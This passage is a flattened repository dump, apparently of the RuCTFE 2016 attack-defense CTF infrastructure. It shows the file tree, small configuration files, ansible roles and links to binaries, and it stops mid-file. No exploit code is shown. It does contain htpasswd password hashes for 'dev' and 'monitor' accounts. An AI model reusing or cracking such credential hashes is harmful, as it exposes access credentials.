├── .gitignore ├── services ├── crash │ ├── symbols │ │ └── .sym │ ├── reports.db │ ├── .gitignore │ └── views │ │ ├── main_page.tpl │ │ └── report.tpl ├── atlablog │ ├── __data__ │ │ └── .gitkeep │ ├── static │ │ ├── js │ │ │ └── atlantis.js │ │ ├── img │ │ │ └── bg.jpg │ │ └── lib │ │ │ └── bootstrap │ │ │ └── fonts │ │ │ ├── glyphicons-halflings-regular.eot │ │ │ ├── glyphicons-halflings-regular.ttf │ │ │ ├── glyphicons-halflings-regular.woff │ │ │ └── glyphicons-halflings-regular.woff2 │ ├── .gitignore │ ├── templates │ │ ├── index.html │ │ ├── example.html │ │ ├── login.html │ │ └── registration.html │ ├── README.md │ ├── users │ │ ├── __init__.py │ │ └── decorators.py │ ├── entries │ │ └── __init__.py │ ├── sessions │ │ ├── __init__.py │ │ ├── models.py │ │ └── README.md │ ├── _buisness_views │ │ ├── __init__.py │ │ └── logout.py │ ├── requirements.txt │ ├── settings.py │ ├── test_main.py │ ├── test_view.py │ └── utils.py ├── cartographer │ ├── src │ │ ├── main │ │ │ ├── resources │ │ │ │ ├── static │ │ │ │ │ ├── atlantis.js │ │ │ │ │ └── cartographer.ico │ │ │ │ └── log4j2.yaml │ │ │ └── kotlin │ │ │ │ └── cartographer │ │ │ │ ├── crypto │ │ │ │ ├── KeyStorage.kt │ │ │ │ ├── KeyGenerator.kt │ │ │ │ ├── KeyDeserializer.kt │ │ │ │ ├── Cryptography.kt │ │ │ │ ├── ChunkCryptography.kt │ │ │ │ ├── DefaultKeyDeserializer.kt │ │ │ │ ├── DefaultKeyGenerator.kt │ │ │ │ ├── CryptographySettings.kt │ │ │ │ └── DefaultCryptography.kt │ │ │ │ ├── settings │ │ │ │ ├── SettingsContainer.kt │ │ │ │ ├── RequiredSettingMissingException.kt │ │ │ │ ├── SettingsParseException.kt │ │ │ │ ├── IntSetting.kt │ │ │ │ ├── StringSetting.kt │ │ │ │ ├── DoubleSetting.kt │ │ │ │ └── DurationSetting.kt │ │ │ │ ├── throttling │ │ │ │ └── Throttler.kt │ │ │ │ ├── providers │ │ │ │ ├── DateTimeProvider.kt │ │ │ │ ├── ReplicasProvider.kt │ │ │ │ ├── AddressedProvider.kt │ │ │ │ ├── LatencyCalculator.kt │ │ │ │ └── DateTimeProviderUtc.kt │ │ │ │ ├── data │ │ │ │ ├── ChunkMetadata.kt │ │ │ │ ├── Replica.kt │ │ │ │ ├── SynchronizeTimeRequest.kt │ │ │ │ ├── DecryptImageRequest.kt │ │ │ │ ├── EncryptImageResponse.kt │ │ │ │ ├── AddressLatencyHistory.kt │ │ │ │ └── SynchronizeTimeResponse.kt │ │ │ │ ├── storage │ │ │ │ ├── ChunkReplicator.kt │ │ │ │ └── ChunkStorage.kt │ │ │ │ ├── helpers │ │ │ │ ├── ZonedDateTimeHelper.kt │ │ │ │ ├── UuidHelper.kt │ │ │ │ ├── ThrottlingHelper.kt │ │ │ │ └── SerializationHelper.kt │ │ │ │ ├── Application.kt │ │ │ │ └── configs │ │ │ │ └── JacksonConfig.kt │ │ └── test │ │ │ ├── kotlin │ │ │ └── cartographer │ │ │ │ └── testhelpers │ │ │ │ └── WaitHelper.kt │ │ │ └── resources │ │ │ └── log4j2.yaml │ ├── .gitignore │ ├── gradle │ │ └── wrapper │ │ │ ├── gradle-wrapper.jar │ │ │ └── gradle-wrapper.properties │ └── cartographer.iml ├── weather │ ├── dispatcher.h │ ├── .gitignore │ ├── weather │ ├── httpserver.h │ ├── logging.h │ ├── types.c │ ├── controlserver.h │ ├── randrec.py │ ├── entrypoint.c │ ├── signtool.c │ ├── storage.h │ ├── server.h │ ├── httpserver.c │ ├── types.h │ ├── forecast.h │ ├── Makefile │ └── matrix.h ├── sapmarine │ ├── .gitignore │ ├── Sources │ │ ├── JSONHelper.swift │ │ ├── main.swift │ │ ├── Trip.swift │ │ ├── Utils.swift │ │ └── Profile.swift │ ├── static │ │ ├── sapmarine.ico │ │ ├── lib │ │ │ └── bootstrap │ │ │ │ └── fonts │ │ │ │ ├── glyphicons-halflings-regular.eot │ │ │ │ ├── glyphicons-halflings-regular.ttf │ │ │ │ ├── glyphicons-halflings-regular.woff │ │ │ │ └── glyphicons-halflings-regular.woff2 │ │ └── js │ │ │ └── sapmarine.js │ └── Package.swift └── thebin │ ├── makefile │ ├── .gitignore │ ├── public.lua │ ├── startup.sh │ ├── my.lua │ ├── rand.lua │ ├── static │ └── css │ │ └── bin.css │ ├── json.lua │ └── nginx.conf ├── sploits ├── crash │ ├── dummy.file │ ├── .gitignore │ ├── dump.dmp │ ├── dump_syms │ ├── just_crash │ ├── build.pl │ ├── README │ ├── just_crash.cpp │ ├── sploit.py │ └── sploit2.py └── thebin │ └── thebin.2.sploit.py ├── static ├── static │ ├── js │ │ └── atlantis.js │ ├── img │ │ ├── bg.jpg │ │ └── weather │ │ │ ├── clear.png │ │ │ ├── rain.png │ │ │ ├── snow.png │ │ │ ├── cloudy.png │ │ │ ├── some clouds.png │ │ │ └── thunderstorm.png │ ├── ico │ │ ├── crash.ico │ │ ├── main.ico │ │ ├── thebin.ico │ │ ├── atlablog.ico │ │ ├── weather.ico │ │ ├── sapmarine.ico │ │ └── cartographer.ico │ ├── lib │ │ └── bootstrap │ │ │ └── fonts │ │ │ ├── glyphicons-halflings-regular.eot │ │ │ ├── glyphicons-halflings-regular.ttf │ │ │ ├── glyphicons-halflings-regular.woff │ │ │ └── glyphicons-halflings-regular.woff2 │ └── css │ │ └── weather.css └── favicon.ico ├── viz-dev ├── .gitignore ├── server-run.bat └── static │ ├── img │ ├── favicon.ico │ ├── background.jpg │ └── background.png │ └── fonts │ ├── Atlantean1.ttf.eot │ └── Atlantean1.ttf.woff ├── ansible ├── .gitignore ├── roles │ ├── monitoring_client │ │ ├── files │ │ │ ├── diamond │ │ │ │ ├── handlers │ │ │ │ │ └── .keep │ │ │ │ └── collectors │ │ │ │ │ ├── MemoryCollector.conf │ │ │ │ │ ├── VMStatCollector.conf │ │ │ │ │ ├── ProcessStatCollector.conf │ │ │ │ │ ├── SockstatCollector.conf │ │ │ │ │ ├── LoadAverageCollector.conf │ │ │ │ │ ├── FilesCollector.conf │ │ │ │ │ ├── CPUCollector.conf │ │ │ │ │ ├── UserScriptsCollector.conf │ │ │ │ │ ├── DiskSpaceCollector.conf │ │ │ │ │ ├── DiskUsageCollector.conf │ │ │ │ │ ├── ConnTrackCollector.conf │ │ │ │ │ ├── NetworkCollector.conf │ │ │ │ │ └── TCPCollector.conf │ │ │ └── diamond.service │ │ ├── handlers │ │ │ └── main.yml │ │ └── tasks │ │ │ └── main.yml │ ├── cs_checker │ │ └── templates │ │ │ ├── sites.txt │ │ │ └── worker-checkers.service.j2 │ ├── sapmarine │ │ ├── meta │ │ │ └── main.yml │ │ ├── templates │ │ │ └── service.j2 │ │ └── tasks │ │ │ └── main.yml │ ├── cartographer │ │ ├── meta │ │ │ └── main.yml │ │ ├── templates │ │ │ └── service.j2 │ │ └── tasks │ │ │ └── main.yml │ ├── general_nginx │ │ ├── meta │ │ │ └── main.yml │ │ ├── handlers │ │ │ └── main.yml │ │ └── templates │ │ │ ├── service.conf.j2 │ │ │ └── vhost.conf.j2 │ ├── redis │ │ ├── meta │ │ │ └── main.yml │ │ ├── handlers │ │ │ └── main.yml │ │ └── tasks │ │ │ └── main.yml │ ├── lxc │ │ ├── meta │ │ │ └── main.yml │ │ └── templates │ │ │ ├── default.conf.j2 │ │ │ └── lxc-net.j2 │ ├── nginx │ │ ├── meta │ │ │ └── main.yml │ │ └── tasks │ │ │ └── main.yml │ ├── thebin │ │ ├── meta │ │ │ └── main.yml │ │ ├── handlers │ │ │ └── main.yml │ │ └── tasks │ │ │ └── main.yml │ ├── vpn │ │ ├── files │ │ │ ├── nginx │ │ │ │ └── htpasswd │ │ │ ├── antidos │ │ │ │ ├── list_blocked_teams.sh │ │ │ │ ├── antidos.service │ │ │ │ ├── block_team.sh │ │ │ │ ├── unblock_team.sh │ │ │ │ └── antidos_serv.py │ │ │ ├── teamcheck │ │ │ │ ├── favicon.ico │ │ │ │ ├── teamcheck.service │ │ │ │ └── teams.py │ │ │ ├── snat │ │ │ │ ├── del_snat_rules.sh │ │ │ │ ├── check_snat_rules.sh │ │ │ │ └── add_snat_rules.sh │ │ │ ├── networkclosed │ │ │ │ ├── networkclosed.service │ │ │ │ ├── open_network.sh │ │ │ │ ├── close_network.sh │ │ │ │ ├── networkclosed_serv.py │ │ │ │ └── check_network.sh │ │ │ ├── trafdump │ │ │ │ └── del_trafdump_rules.sh │ │ │ ├── openvpn_prod │ │ │ │ ├── 0.conf │ │ │ │ ├── 1.conf │ │ │ │ ├── 2.conf │ │ │ │ ├── 256.conf │ │ │ │ ├── 257.conf │ │ │ │ ├── 258.conf │ │ │ │ ├── 259.conf │ │ │ │ ├── 260.conf │ │ │ │ ├── 261.conf │ │ │ │ ├── 262.conf │ │ │ │ ├── 263.conf │ │ │ │ ├── 264.conf │ │ │ │ ├── 265.conf │ │ │ │ ├── 3.conf │ │ │ │ ├── 4.conf │ │ │ │ ├── 5.conf │ │ │ │ ├── 512.conf │ │ │ │ ├── 513.conf │ │ │ │ ├── 514.conf │ │ │ │ ├── 515.conf │ │ │ │ ├── 516.conf │ │ │ │ ├── 517.conf │ │ │ │ ├── 518.conf │ │ │ │ ├── 519.conf │ │ │ │ ├── 520.conf │ │ │ │ ├── 521.conf │ │ │ │ ├── 6.conf │ │ │ │ ├── 7.conf │ │ │ │ ├── 8.conf │ │ │ │ ├── 9.conf │ │ │ │ ├── 10.conf │ │ │ │ ├── 11.conf │ │ │ │ ├── 12.conf │ │ │ │ ├── 13.conf │ │ │ │ └── 14.conf │ │ │ └── openvpn_dev │ │ │ │ ├── 0.conf │ │ │ │ ├── 1.conf │ │ │ │ ├── 2.conf │ │ │ │ ├── 256.conf │ │ │ │ ├── 257.conf │ │ │ │ ├── 258.conf │ │ │ │ ├── 259.conf │ │ │ │ ├── 260.conf │ │ │ │ ├── 261.conf │ │ │ │ ├── 262.conf │ │ │ │ ├── 263.conf │ │ │ │ ├── 264.conf │ │ │ │ ├── 265.conf │ │ │ │ ├── 3.conf │ │ │ │ ├── 4.conf │ │ │ │ ├── 5.conf │ │ │ │ ├── 512.conf │ │ │ │ ├── 513.conf │ │ │ │ ├── 514.conf │ │ │ │ ├── 515.conf │ │ │ │ ├── 516.conf │ │ │ │ ├── 517.conf │ │ │ │ ├── 518.conf │ │ │ │ ├── 519.conf │ │ │ │ ├── 520.conf │ │ │ │ ├── 521.conf │ │ │ │ ├── 6.conf │ │ │ │ ├── 7.conf │ │ │ │ ├── 8.conf │ │ │ │ └── 9.conf │ │ ├── gen │ │ │ ├── client_dev.tar.xz │ │ │ ├── client_prod.tar.xz │ │ │ ├── gen_keys.py │ │ │ └── gen_conf_server.py │ │ └── handlers │ │ │ └── main.yml │ ├── atlablog │ │ ├── meta │ │ │ └── main.yml │ │ └── templates │ │ │ └── service.j2 │ ├── monitoring │ │ ├── files │ │ │ ├── htpasswd │ │ │ ├── grafana.db │ │ │ ├── graphite.db │ │ │ ├── graphite.ini │ │ │ └── default │ │ └── handlers │ │ │ └── main.yml │ ├── cartographer-build │ │ ├── meta │ │ │ └── main.yml │ │ └── tasks │ │ │ └── main.yml │ ├── logging_client │ │ ├── handlers │ │ │ └── main.yml │ │ └── tasks │ │ │ └── main.yml │ ├── crash │ │ ├── files │ │ │ ├── dump_syms │ │ │ └── minidump_stackwalk │ │ └── templates │ │ │ └── service.j2 │ ├── common │ │ ├── handlers │ │ │ └── main.yml │ │ └── templates │ │ │ ├── 65-external_network.j2 │ │ │ ├── 60-internal_network.j2 │ │ │ └── hosts.j2 │ ├── dump │ │ ├── handlers │ │ │ └── main.yml │ │ ├── scripts │ │ │ ├── get_flagsubmit_traffic.sh │ │ │ ├── traffic.sh │ │ │ └── get_realtime_team_traffic.sh │ │ ├── files │ │ │ ├── dump@.service │ │ │ └── start_dump_eth0.sh │ │ └── tasks │ │ │ └── main.yml │ ├── cs_flags │ │ ├── tasks │ │ │ └── main.yml │ │ └── templates │ │ │ └── flags@.service.j2 │ ├── stretch │ │ ├── templates │ │ │ └── apt_preferences.j2 │ │ └── tasks │ │ │ └── main.yml │ ├── weather │ │ ├── templates │ │ │ └── service.j2 │ │ └── tasks │ │ │ └── main.yml │ ├── logging │ │ └── handlers │ │ │ └── main.yml │ ├── java8 │ │ └── tasks │ │ │ └── main.yml │ ├── cs_master │ │ ├── templates │ │ │ ├── manager.service.j2 │ │ │ ├── worker.service.j2 │ │ │ ├── watcher.service.j2 │ │ │ ├── web.service.j2 │ │ │ └── nginx.conf.j2 │ │ └── tasks │ │ │ └── main.yml │ ├── noman │ │ ├── tasks │ │ │ └── main.yaml │ │ └── files │ │ │ └── 01_nodoc │ ├── backuper │ │ ├── files │ │ │ ├── id_rsa.pub │ │ │ └── checksystem_backup.sh │ │ └── tasks │ │ │ └── main.yml │ ├── thebin-build │ │ └── tasks │ │ │ └── main.yml │ ├── backupable │ │ └── tasks │ │ │ └── main.yml │ ├── swift │ │ └── tasks │ │ │ └── main.yml │ ├── image │ │ └── tasks │ │ │ └── main.yml │ └── cs_common │ │ ├── templates │ │ └── telegraf.conf.j2 │ │ └── tasks │ │ └── main.yml ├── dump.yaml ├── vpn.yaml ├── logging.yaml ├── monitoring.yaml ├── backuper.yaml ├── cs-flags.yaml ├── ansible.cfg ├── cs-checker.yaml ├── cs-master.yaml └── ructfe2016_rsa.pub ├── checkers ├── atlablog │ ├── templates │ │ ├── __init__.py │ │ ├── user_agents.py │ │ └── user_credentials.py │ ├── requirements.txt │ ├── comands │ │ └── __init__.py │ └── README.md ├── thebin │ ├── .gitignore │ └── UserAgents.py ├── crash │ ├── .gitignore │ ├── dump_syms │ ├── minidump_stackwalk │ ├── submarine_internal │ ├── UserAgents.py │ └── build.pl ├── weather │ └── checker └── cartographer │ └── UserAgents.py ├── viz └── static │ ├── img │ ├── favicon.ico │ └── background.jpg │ └── fonts │ ├── Atlantean1.ttf.eot │ └── Atlantean1.ttf.woff └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | -------------------------------------------------------------------------------- /services/crash/symbols/.sym: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /sploits/crash/dummy.file: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /static/static/js/atlantis.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /viz-dev/.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | -------------------------------------------------------------------------------- /ansible/.gitignore: -------------------------------------------------------------------------------- 1 | *.retry 2 | -------------------------------------------------------------------------------- /services/atlablog/__data__/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /checkers/atlablog/templates/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/atlablog/static/js/atlantis.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /checkers/thebin/.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | __pycache__ -------------------------------------------------------------------------------- /sploits/crash/.gitignore: -------------------------------------------------------------------------------- 1 | reports.db 2 | 3 | -------------------------------------------------------------------------------- /checkers/crash/.gitignore: -------------------------------------------------------------------------------- 1 | dumps/* 2 | zips/* 3 | 4 | -------------------------------------------------------------------------------- /viz-dev/server-run.bat: -------------------------------------------------------------------------------- 1 | python .\test-server\server.py -------------------------------------------------------------------------------- /ansible/roles/monitoring_client/files/diamond/handlers/.keep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/cartographer/src/main/resources/static/atlantis.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/atlablog/.gitignore: -------------------------------------------------------------------------------- 1 | .cache 2 | __pycache__/ 3 | *.py[cod] 4 | -------------------------------------------------------------------------------- /ansible/roles/cs_checker/templates/sites.txt: -------------------------------------------------------------------------------- 1 | 10.10.10.8:8000/index.html 2 | -------------------------------------------------------------------------------- /ansible/roles/sapmarine/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | dependencies: 3 | - swift 4 | -------------------------------------------------------------------------------- /services/weather/dispatcher.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | void wt_run_dispatcher(); -------------------------------------------------------------------------------- /ansible/roles/cartographer/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | dependencies: 3 | - java8 4 | -------------------------------------------------------------------------------- /ansible/roles/general_nginx/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | dependencies: 3 | - nginx 4 | -------------------------------------------------------------------------------- /ansible/roles/redis/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | dependencies: 3 | - { role: stretch } -------------------------------------------------------------------------------- /ansible/roles/lxc/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | dependencies: 3 | - { role: stretch } 4 | -------------------------------------------------------------------------------- /ansible/roles/nginx/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | dependencies: 3 | - { role: stretch } 4 | -------------------------------------------------------------------------------- /ansible/roles/thebin/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | dependencies: 3 | - redis 4 | - nginx 5 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/nginx/htpasswd: -------------------------------------------------------------------------------- 1 | dev:$apr1$JTlIsrZp$tVnWHgVUQXY5IoIGvM4Jv0 2 | -------------------------------------------------------------------------------- /services/sapmarine/.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | /.build 3 | /Packages 4 | /*.xcodeproj 5 | -------------------------------------------------------------------------------- /services/weather/.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | *.db 3 | *.log 4 | signtool 5 | checker 6 | about.txt -------------------------------------------------------------------------------- /ansible/roles/atlablog/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | dependencies: 3 | - { role: stretch } 4 | -------------------------------------------------------------------------------- /ansible/roles/monitoring/files/htpasswd: -------------------------------------------------------------------------------- 1 | monitor:$apr1$2P..GHS5$7X02vHCsguC4IfAOLGSza/ 2 | -------------------------------------------------------------------------------- /checkers/atlablog/requirements.txt: -------------------------------------------------------------------------------- 1 | Pillow 2 | requests 3 | beautifulsoup4 4 | selenium 5 | -------------------------------------------------------------------------------- /static/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/favicon.ico -------------------------------------------------------------------------------- /ansible/roles/cartographer-build/meta/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | dependencies: 3 | - { role: java8 } 4 | -------------------------------------------------------------------------------- /services/thebin/makefile: -------------------------------------------------------------------------------- 1 | rand.so: rand.c 2 | gcc -shared -fPIC -Wall -Wextra -O3 rand.c -o rand.so 3 | -------------------------------------------------------------------------------- /sploits/crash/dump.dmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/sploits/crash/dump.dmp -------------------------------------------------------------------------------- /sploits/crash/dump_syms: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/sploits/crash/dump_syms -------------------------------------------------------------------------------- /ansible/roles/vpn/files/antidos/list_blocked_teams.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | iptables-save | grep antidos 4 | -------------------------------------------------------------------------------- /checkers/atlablog/comands/__init__.py: -------------------------------------------------------------------------------- 1 | OK, CORRUPT, MUMBLE, DOWN, CHECKER_ERROR = 101, 102, 103, 104, 110 2 | -------------------------------------------------------------------------------- /checkers/crash/dump_syms: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/checkers/crash/dump_syms -------------------------------------------------------------------------------- /checkers/weather/checker: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/checkers/weather/checker -------------------------------------------------------------------------------- /services/crash/reports.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/crash/reports.db -------------------------------------------------------------------------------- /services/weather/weather: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/weather/weather -------------------------------------------------------------------------------- /sploits/crash/just_crash: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/sploits/crash/just_crash -------------------------------------------------------------------------------- /static/static/img/bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/img/bg.jpg -------------------------------------------------------------------------------- /static/static/ico/crash.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/ico/crash.ico -------------------------------------------------------------------------------- /static/static/ico/main.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/ico/main.ico -------------------------------------------------------------------------------- /static/static/ico/thebin.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/ico/thebin.ico -------------------------------------------------------------------------------- /viz/static/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz/static/img/favicon.ico -------------------------------------------------------------------------------- /ansible/roles/logging_client/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: restart rsyslog 2 | service: name=rsyslog state=restarted 3 | -------------------------------------------------------------------------------- /ansible/roles/redis/handlers/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | - name: restart redis 3 | service: name=redis-server state=restarted -------------------------------------------------------------------------------- /services/thebin/.gitignore: -------------------------------------------------------------------------------- 1 | *_temp 2 | logs 3 | nginx.conf.compiled 4 | *.o 5 | *.so 6 | *.swp 7 | *.out 8 | *.s 9 | -------------------------------------------------------------------------------- /static/static/ico/atlablog.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/ico/atlablog.ico -------------------------------------------------------------------------------- /static/static/ico/weather.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/ico/weather.ico -------------------------------------------------------------------------------- /viz-dev/static/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz-dev/static/img/favicon.ico -------------------------------------------------------------------------------- /viz/static/img/background.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz/static/img/background.jpg -------------------------------------------------------------------------------- /checkers/crash/minidump_stackwalk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/checkers/crash/minidump_stackwalk -------------------------------------------------------------------------------- /checkers/crash/submarine_internal: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/checkers/crash/submarine_internal -------------------------------------------------------------------------------- /services/atlablog/templates/index.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | 3 | {% block content %} 4 | 5 | {% endblock %} 6 | -------------------------------------------------------------------------------- /static/static/ico/sapmarine.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/ico/sapmarine.ico -------------------------------------------------------------------------------- /viz-dev/static/img/background.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz-dev/static/img/background.jpg -------------------------------------------------------------------------------- /viz-dev/static/img/background.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz-dev/static/img/background.png -------------------------------------------------------------------------------- /ansible/roles/crash/files/dump_syms: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/ansible/roles/crash/files/dump_syms -------------------------------------------------------------------------------- /services/atlablog/static/img/bg.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/atlablog/static/img/bg.jpg -------------------------------------------------------------------------------- /services/cartographer/.gitignore: -------------------------------------------------------------------------------- 1 | build/** 2 | out/** 3 | 4 | .idea/** 5 | .gradle/** 6 | 7 | logs/** 8 | config/** 9 | data/** -------------------------------------------------------------------------------- /services/sapmarine/Sources/JSONHelper.swift: -------------------------------------------------------------------------------- 1 | import SwiftyJSON 2 | 3 | protocol JSONDecodable { 4 | init(json: JSON) 5 | } -------------------------------------------------------------------------------- /static/static/ico/cartographer.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/ico/cartographer.ico -------------------------------------------------------------------------------- /static/static/img/weather/clear.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/img/weather/clear.png -------------------------------------------------------------------------------- /static/static/img/weather/rain.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/img/weather/rain.png -------------------------------------------------------------------------------- /static/static/img/weather/snow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/img/weather/snow.png -------------------------------------------------------------------------------- /viz/static/fonts/Atlantean1.ttf.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz/static/fonts/Atlantean1.ttf.eot -------------------------------------------------------------------------------- /ansible/dump.yaml: -------------------------------------------------------------------------------- 1 | - hosts: dump 2 | roles: 3 | - common 4 | - dump 5 | - monitoring_client 6 | - logging_client 7 | -------------------------------------------------------------------------------- /ansible/roles/common/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: update timezone 2 | command: dpkg-reconfigure --frontend noninteractive tzdata 3 | -------------------------------------------------------------------------------- /ansible/vpn.yaml: -------------------------------------------------------------------------------- 1 | - hosts: vpn 2 | roles: 3 | - common 4 | - vpn 5 | - monitoring_client 6 | - logging_client 7 | -------------------------------------------------------------------------------- /static/static/img/weather/cloudy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/img/weather/cloudy.png -------------------------------------------------------------------------------- /viz/static/fonts/Atlantean1.ttf.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz/static/fonts/Atlantean1.ttf.woff -------------------------------------------------------------------------------- /ansible/roles/vpn/gen/client_dev.tar.xz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/ansible/roles/vpn/gen/client_dev.tar.xz -------------------------------------------------------------------------------- /ansible/roles/vpn/gen/client_prod.tar.xz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/ansible/roles/vpn/gen/client_prod.tar.xz -------------------------------------------------------------------------------- /services/sapmarine/static/sapmarine.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/sapmarine/static/sapmarine.ico -------------------------------------------------------------------------------- /viz-dev/static/fonts/Atlantean1.ttf.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz-dev/static/fonts/Atlantean1.ttf.eot -------------------------------------------------------------------------------- /viz-dev/static/fonts/Atlantean1.ttf.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz-dev/static/fonts/Atlantean1.ttf.woff -------------------------------------------------------------------------------- /ansible/logging.yaml: -------------------------------------------------------------------------------- 1 | - hosts: logging 2 | roles: 3 | - common 4 | - logging 5 | - monitoring_client 6 | - logging_client 7 | -------------------------------------------------------------------------------- /ansible/roles/monitoring/files/grafana.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/ansible/roles/monitoring/files/grafana.db -------------------------------------------------------------------------------- /ansible/roles/monitoring/files/graphite.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/ansible/roles/monitoring/files/graphite.db -------------------------------------------------------------------------------- /ansible/roles/monitoring_client/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: enable and restart diamond 2 | service: name=diamond enabled=yes state=restarted -------------------------------------------------------------------------------- /static/static/img/weather/some clouds.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/img/weather/some clouds.png -------------------------------------------------------------------------------- /static/static/img/weather/thunderstorm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/img/weather/thunderstorm.png -------------------------------------------------------------------------------- /ansible/roles/crash/files/minidump_stackwalk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/ansible/roles/crash/files/minidump_stackwalk -------------------------------------------------------------------------------- /ansible/roles/vpn/files/teamcheck/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/ansible/roles/vpn/files/teamcheck/favicon.ico -------------------------------------------------------------------------------- /ansible/monitoring.yaml: -------------------------------------------------------------------------------- 1 | - hosts: monitoring 2 | roles: 3 | - common 4 | - monitoring 5 | - monitoring_client 6 | - logging_client 7 | -------------------------------------------------------------------------------- /ansible/roles/common/templates/65-external_network.j2: -------------------------------------------------------------------------------- 1 | auto eth0 2 | iface eth0 inet dhcp 3 | mtu 8880 4 | post-up /sbin/ethtool -K "$IFACE" tso off 5 | -------------------------------------------------------------------------------- /services/atlablog/templates/example.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" 